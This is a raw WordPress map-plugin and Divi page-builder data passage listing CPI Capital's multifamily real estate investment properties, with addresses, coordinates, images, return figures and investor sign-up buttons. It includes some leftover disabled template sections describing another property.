background_color=\"#16193a\" background_image=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/02\/bottom-section-bg.png\" locked=\"off\"][et_pb_row _builder_version=\"4.8.2\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.8.2\" _module_preset=\"default\"][et_pb_text admin_label=\"Subscribe\" _builder_version=\"4.9.0\" _module_preset=\"default\" text_orientation=\"center\" background_layout=\"dark\"]<h5>CPI Capital helps busy professionals to earn <span>passive income<\/span> through real estate investing so they could have more time <span>freedom<\/span> to live a more <span>abundant life<\/span>.<\/h5>[\/et_pb_text][et_pb_button button_url=\"https:\/\/cpicapital.cpicapital.ca\/website?__hstc=230844480.4d57ee93d97208f67ef855cbb1d2b53d.1633341719967.1633410514045.1633419575663.4&__hssc=230844480.25.1633419575663&__hsfp=3601630007\" url_new_window=\"on\" button_text=\"become an investor\" button_alignment=\"center\" module_class=\"dark-bg\" _builder_version=\"4.9.0\" _module_preset=\"default\" background_layout=\"dark\"][\/et_pb_button][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" disabled_on=\"on|on|on\" admin_label=\"Section OLD\" module_class=\"section-location-main\" _builder_version=\"4.9.0\" disabled=\"on\" collapsed=\"on\"][et_pb_row column_structure=\"2_3,1_3\" module_class=\"row-header\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"2_3\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_post_title author=\"off\" date=\"off\" comments=\"off\" featured_image=\"off\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_post_title][\/et_pb_column][et_pb_column type=\"1_3\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/02\/bakerson.png\" title_text=\"bakerson\" align=\"right\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_image][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_4,1_4,1_4,1_4\" use_custom_gutter=\"on\" gutter_width=\"1\" module_class=\"row-location-info\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Address\" _builder_version=\"4.9.0\" background_enable_color=\"off\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Address<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]1725 W Vogel Ave, Phoenix, AZ&nbsp;85021[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Status\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Status<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]Sold[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Date Purchased\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Date Purchased<\/h6>[\/et_pb_text][et_pb_post_title title=\"off\" author=\"off\" date_format=\"m\/j\/Y\" categories=\"off\" comments=\"off\" featured_image=\"off\" admin_label=\"Date\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_post_title][\/et_pb_column][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Unit Count\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Unit Count<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]16 units[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_2,1_2\" use_custom_gutter=\"on\" gutter_width=\"3\" module_class=\"row-overview\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Overview\" _builder_version=\"4.9.0\" _module_preset=\"default\"]<h3>Overview<\/h3>n<p>Mountain Springs was purchased from an owner who self-managed. This property was acquired with low in place rents, and problematic financials which made it hard to secure permanent financing. The property received complete unit turns and we were able to increase the rents to market. Many of the rents were $100-200 below market. The exterior of the property had a landscaping overhaul which increased the curb appeal.<\/p>[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Key Details\" _builder_version=\"4.9.0\" _module_preset=\"default\"]<h3>Key Details<\/h3>n<table>n<tbody>n<tr>n<td>Ownership<\/td>n<td><span>10%<\/span> equity<\/td>n<\/tr>n<tr>n<td>Site Size<\/td>n<td><span>1.2<\/span> Acres<\/td>n<\/tr>n<tr>n<td>Year built<\/td>n<td>2001<\/td>n<\/tr>n<tr>n<td>Date Sold<\/td>n<td>12\/15\/2017<\/td>n<\/tr>n<tr>n<td>Value Add<\/td>n<td>Interior unit turns, Landscaping<\/td>n<\/tr>n<\/tbody>n<\/table>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]\",\"post_title\":\"Kadium No4 Road TownHomes\",\"post_link\":\"https:\/\/www.cpicapital.ca\/kadium-no4-road-townhomes\/\",\"post_featured_image\":\"<div class=\"fc-feature-img\"><img alt=\"BlueWater Apartment Homes\" width=\"300\" height=\"200\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-01-300x200.jpg\" class=\"wp-post-image   wpgmp_featured_image\" ><\/div>\",\"post_categories\":\"Multifamily\",\"post_tags\":\"\",\"%inline_featured_image%\":\"0\",\"%_wpgmp_location_address%\":\"10340 No 4 Rd, Richmond, BC V7A 3R9, Canada\",\"%_wpgmp_location_city%\":\"Richmond\",\"%_wpgmp_location_state%\":\"British Columbia\",\"%_wpgmp_location_country%\":\"Canada\",\"%_wpgmp_metabox_latitude%\":\"49.13664139999999\",\"%_wpgmp_metabox_longitude%\":\"-123.1139252\",\"%_wpgmp_metabox_location_redirect%\":\"marker\",\"%_wpgmp_metabox_custom_link%\":\"\",\"%_wpgmp_map_id%\":\"a:2:{i:0;s:1:\"1\";i:1;s:1:\"7\";}\",\"%_wpgmp_metabox_marker_id%\":\"N;\",\"%_wpgmp_metabox_taxomomies_terms%\":\"N;\",\"%_wpgmp_extensions_fields%\":\"N;\",\"%_et_post_bg_color%\":\"#ffffff\",\"%_et_post_bg_layout%\":\"light\",\"%_et_pb_show_title%\":\"off\",\"%_et_pb_post_hide_nav%\":\"default\",\"%_et_pb_page_layout%\":\"et_full_width_page\",\"%_et_pb_side_nav%\":\"off\",\"%_et_pb_use_builder%\":\"on\",\"%_et_pb_first_image%\":\"\",\"%_et_pb_truncate_post%\":\"\",\"%_et_pb_truncate_post_date%\":\"\",\"%_et_pb_old_content%\":\"Test Map Post  2\",\"%_thumbnail_id%\":\"10684\",\"%_et_pb_built_for_post_type%\":\"page\",\"%_et_pb_ab_subjects%\":\"\",\"%_et_pb_enable_shortcode_tracking%\":\"\",\"%_et_pb_ab_current_shortcode%\":\"[et_pb_split_track id=\"10786\" \/]\",\"%_et_pb_custom_css%\":\"\",\"%_et_pb_gutter_width%\":\"2\",\"%_global_colors_info%\":\"{}\",\"%_et_builder_version%\":\"VB|Divi|4.9.0\",\"%_et_pb_show_page_creation%\":\"off\",\"%_wp_old_slug%\":\"test-map-post-2\",\"%_dp_original%\":\"10722\",\"%_edit_last%\":\"1\",\"%_edit_lock%\":\"1634295203:1\",\"taxonomy=category\":\"Multifamily\",\"taxonomy=post_tag\":\"\",\"taxonomy=post_format\":\"\"},\"icon\":\"https:\/\/www.canadianpassiveinvesting.com\/wp-content\/uploads\/2021\/02\/map-current-location.png\"},\"id\":10786,\"custom_filters\":[],\"infowindow_disable\":false},{\"source\":\"post\",\"title\":\"Braxton Waterleigh\",\"infowindow_content\":\"<div class=\"post_body\">rn<div class=\"location-image\"><a target=\"_blank\" href=\"https:\/\/www.cpicapital.ca\/braxton-waterleigh\/\"><div class=\"fc-feature-img\"><img alt=\"Braxton Waterleigh\" width=\"300\" height=\"200\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-01-300x200.jpg\" class=\"wp-post-image   wpgmp_featured_image\" ><\/div><\/a><\/div>rn<div class=\"location-description\">rn<div class=\"location-title\"><a target=\"_blank\" href=\"https:\/\/www.cpicapital.ca\/braxton-waterleigh\/\">Braxton Waterleigh<\/a><\/div>rnrn<table class=\"address\" \"=\"\">rn<tbody><tr>rn<td><img src=\"\/wp-content\/uploads\/2021\/02\/location-description-pin.svg\"><\/td>rn<td>{marker_address}<\/td>rn<\/tr>rn<\/tbody><\/table>rn<div class=\"category\"><span>Multifamily<\/span><\/div>rn<\/div>rn<\/div>\",\"address\":\"10091 Tuller Loop, Winter Garden, FL 34787, USA\",\"location\":{\"lat\":\"28.4132117\",\"city\":\"Winter Garden\",\"state\":\"Florida\",\"country\":\"United States\",\"lng\":\"-81.6333645\",\"onclick_action\":\"marker\",\"redirect_permalink\":\"https:\/\/www.cpicapital.ca\/braxton-waterleigh\/\",\"zoom\":10,\"extra_fields\":{\"post_excerpt\":\"\",\"post_content\":\"[et_pb_section fb_built=\"1\" module_class=\"section-location-gallery\" _builder_version=\"4.9.0\" _module_preset=\"default\" background_color=\"#f6f9fc\"][et_pb_row module_class=\"post-carousel\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-01.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-02.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-03.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-04.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-05.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-06.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-07.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-08.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-09.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-10.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-11.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-12.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" admin_label=\"section-location-main-v2\" module_class=\"section-location-main-v2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_row module_class=\"row-header\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_post_title author=\"off\" date=\"off\" comments=\"off\" featured_image=\"off\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_post_title][et_pb_text admin_label=\"Text - Subtitle\" _builder_version=\"4.9.0\" _module_preset=\"default\" hover_enabled=\"0\" sticky_enabled=\"0\"]Horizon West, Florida[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_6,1_6,1_6,1_6,1_6,1_6\" use_custom_gutter=\"on\" gutter_width=\"1\" module_class=\"row-location-info\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Minimum\" _builder_version=\"4.9.0\" background_enable_color=\"off\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Minimum<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\" hover_enabled=\"0\" sticky_enabled=\"0\"]$25K[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Distributions\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Distributions <\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\" hover_enabled=\"0\" sticky_enabled=\"0\"]Monthly[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Annualized Returns\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Annualized Returns<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\" hover_enabled=\"0\" sticky_enabled=\"0\"]25.1%[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Target Hold\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Target Hold<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\" hover_enabled=\"0\" sticky_enabled=\"0\"]5 Years[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Property Type\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Property Type<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\" hover_enabled=\"0\" sticky_enabled=\"0\"]Multifamily[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Asset Class \" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Asset Class<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\" hover_enabled=\"0\" sticky_enabled=\"0\"]Class A[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_2,1_2\" use_custom_gutter=\"on\" gutter_width=\"3\" module_class=\"row-overview\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Overview\" _builder_version=\"4.9.0\" _module_preset=\"default\" hover_enabled=\"0\" sticky_enabled=\"0\"]<h3>Overview<\/h3>n<p>This community is a 354-unit community completed in 2021, representing top-quality suburban living in a rapidly growing suburb of the Orlando MSA.<\/p>[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Invested\" module_class=\"invested-module\" _builder_version=\"4.9.0\" _module_preset=\"default\" hover_enabled=\"0\" sticky_enabled=\"0\"]100% <span>Invested<\/span>[\/et_pb_text][et_pb_text admin_label=\"Equity\" module_class=\"equity-module\" _builder_version=\"4.9.0\" _module_preset=\"default\" hover_enabled=\"0\" sticky_enabled=\"0\"]$32,000,000 <span>Equity<\/span>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" module_class=\"section-location-map\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_row _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Map\" _builder_version=\"4.9.0\" _module_preset=\"default\"][put_wpgm id=7 current_post_only=true][\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" admin_label=\"Section Become an Investor\" module_class=\"section-become-an-investor\" _builder_version=\"4.9.0\" _module_preset=\"default\" background_color=\"#16193a\" background_image=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/02\/bottom-section-bg.png\" locked=\"off\"][et_pb_row _builder_version=\"4.8.2\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.8.2\" _module_preset=\"default\"][et_pb_text admin_label=\"Subscribe\" _builder_version=\"4.9.0\" _module_preset=\"default\" text_orientation=\"center\" background_layout=\"dark\"]<h5>CPI Capital helps busy professionals to earn <span>passive income<\/span> through real estate investing so they could have more time <span>freedom<\/span> to live a more <span>abundant life<\/span>.<\/h5>[\/et_pb_text][et_pb_button button_url=\"https:\/\/cpicapital.cpicapital.ca\/website?__hstc=230844480.4d57ee93d97208f67ef855cbb1d2b53d.1633341719967.1633410514045.1633419575663.4&__hssc=230844480.25.1633419575663&__hsfp=3601630007\" url_new_window=\"on\" button_text=\"become an investor\" button_alignment=\"center\" module_class=\"dark-bg\" _builder_version=\"4.9.0\" _module_preset=\"default\" background_layout=\"dark\"][\/et_pb_button][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" disabled_on=\"on|on|on\" module_class=\"section-location-main\" _builder_version=\"4.9.0\" disabled=\"on\"][et_pb_row column_structure=\"2_3,1_3\" module_class=\"row-header\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"2_3\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_post_title author=\"off\" date=\"off\" comments=\"off\" featured_image=\"off\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_post_title][\/et_pb_column][et_pb_column type=\"1_3\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/02\/bakerson.png\" title_text=\"bakerson\" align=\"right\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_image][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_4,1_4,1_4,1_4\" use_custom_gutter=\"on\" gutter_width=\"1\" module_class=\"row-location-info\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Address\" _builder_version=\"4.9.0\" background_enable_color=\"off\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Address<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]1725 W Vogel Ave, Phoenix, AZ&nbsp;85021[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Status\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Status<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]Sold[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Date Purchased\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Date Purchased<\/h6>[\/et_pb_text][et_pb_post_title title=\"off\" author=\"off\" date_format=\"m\/j\/Y\" categories=\"off\" comments=\"off\" featured_image=\"off\" admin_label=\"Date\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_post_title][\/et_pb_column][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Unit Count\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Unit Count<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]16 units[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_2,1_2\" use_custom_gutter=\"on\" gutter_width=\"3\" module_class=\"row-overview\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Overview\" _builder_version=\"4.9.0\" _module_preset=\"default\"]<h3>Overview<\/h3>n<p>Mountain Springs was purchased from an owner who self-managed. This property was acquired with low in place rents, and problematic financials which made it hard to secure permanent financing. The property received complete unit turns and we were able to increase the rents to market. Many of the rents were $100-200 below market. The exterior of the property had a landscaping overhaul which increased the curb appeal.<\/p>[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Key Details\" _builder_version=\"4.9.0\" _module_preset=\"default\"]<h3>Key Details<\/h3>n<table>n<tbody>n<tr>n<td>Ownership<\/td>n<td><span>10%<\/span> equity<\/td>n<\/tr>n<tr>n<td>Site Size<\/td>n<td><span>1.2<\/span> Acres<\/td>n<\/tr>n<tr>n<td>Year built<\/td>n<td>2001<\/td>n<\/tr>n<tr>n<td>Date Sold<\/td>n<td>12\/15\/2017<\/td>n<\/tr>n<tr>n<td>Value Add<\/td>n<td>Interior unit turns, Landscaping<\/td>n<\/tr>n<\/tbody>n<\/table>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]\",\"post_title\":\"Braxton Waterleigh\",\"post_link\":\"https:\/\/www.cpicapital.ca\/braxton-waterleigh\/\",\"post_featured_image\":\"<div class=\"fc-feature-img\"><img alt=\"Braxton Waterleigh\" width=\"300\" height=\"200\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-01-300x200.jpg\" class=\"wp-post-image   wpgmp_featured_image\" ><\/div>\",\"post_categories\":\"Multifamily\",\"post_tags\":\"\",\"%inline_featured_image%\":\"0\",\"%_wpgmp_location_address%\":\"10091 Tuller Loop, Winter Garden, FL 34787, USA\",\"%_wpgmp_location_city%\":\"Winter Garden\",\"%_wpgmp_location_state%\":\"Florida\",\"%_wpgmp_location_country%\":\"United States\",\"%_wpgmp_metabox_latitude%\":\"28.4132117\",\"%_wpgmp_metabox_longitude%\":\"-81.6333645\",\"%_wpgmp_metabox_location_redirect%\":\"marker\",\"%_wpgmp_metabox_custom_link%\":\"\",\"%_wpgmp_map_id%\":\"a:2:{i:0;s:1:\"1\";i:1;s:1:\"7\";}\",\"%_wpgmp_metabox_marker_id%\":\"N;\",\"%_wpgmp_metabox_taxomomies_terms%\":\"N;\",\"%_wpgmp_extensions_fields%\":\"N;\",\"%_et_post_bg_color%\":\"#ffffff\",\"%_et_post_bg_layout%\":\"light\",\"%_et_pb_show_title%\":\"off\",\"%_et_pb_post_hide_nav%\":\"default\",\"%_et_pb_page_layout%\":\"et_full_width_page\",\"%_et_pb_side_nav%\":\"off\",\"%_et_pb_use_builder%\":\"on\",\"%_et_pb_first_image%\":\"\",\"%_et_pb_truncate_post%\":\"\",\"%_et_pb_truncate_post_date%\":\"\",\"%_et_pb_old_content%\":\"Test Map Post  2\",\"%_thumbnail_id%\":\"10730\",\"%_et_pb_built_for_post_type%\":\"page\",\"%_et_pb_ab_subjects%\":\"\",\"%_et_pb_enable_shortcode_tracking%\":\"\",\"%_et_pb_ab_current_shortcode%\":\"[et_pb_split_track id=\"10724\" \/]\",\"%_et_pb_custom_css%\":\"\",\"%_et_pb_gutter_width%\":\"2\",\"%_global_colors_info%\":\"{}\",\"%_et_builder_version%\":\"VB|Divi|4.9.0\",\"%_et_pb_show_page_creation%\":\"off\",\"%_wp_old_slug%\":\"test-map-post-2\",\"%_dp_original%\":\"10722\",\"%_edit_last%\":\"1\",\"%_edit_lock%\":\"1633429755:1\",\"taxonomy=category\":\"Multifamily\",\"taxonomy=post_tag\":\"\",\"taxonomy=post_format\":\"\"},\"icon\":\"https:\/\/www.canadianpassiveinvesting.com\/wp-content\/uploads\/2021\/02\/map-current-location.png\"},\"id\":10724,\"infowindow_disable\":false},{\"source\":\"post\",\"title\":\"BlueWater Apartment Homes at Boltonu2019s Landing\",\"infowindow_content\":\"<div class=\"post_body\">rn<div class=\"location-image\"><a target=\"_blank\" href=\"https:\/\/www.cpicapital.ca\/bluewater\/\"><div class=\"fc-feature-img\"><img alt=\"BlueWater Apartment Homes\" width=\"300\" height=\"200\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-01-300x200.jpg\" class=\"wp-post-image   wpgmp_featured_image\" ><\/div><\/a><\/div>rn<div class=\"location-description\">rn<div class=\"location-title\"><a target=\"_blank\" href=\"https:\/\/www.cpicapital.ca\/bluewater\/\">BlueWater Apartment Homes at Boltonu2019s Landing<\/a><\/div>rnrn<table class=\"address\" \"=\"\">rn<tbody><tr>rn<td><img src=\"\/wp-content\/uploads\/2021\/02\/location-description-pin.svg\"><\/td>rn<td>{marker_address}<\/td>rn<\/tr>rn<\/tbody><\/table>rn<div class=\"category\"><span>Multifamily<\/span><\/div>rn<\/div>rn<\/div>\",\"address\":\"1680 Bluewater Way, Charleston, SC 29414, USA\",\"location\":{\"lat\":\"32.8032885\",\"city\":\"Charleston\",\"state\":\"South Carolina\",\"country\":\"United 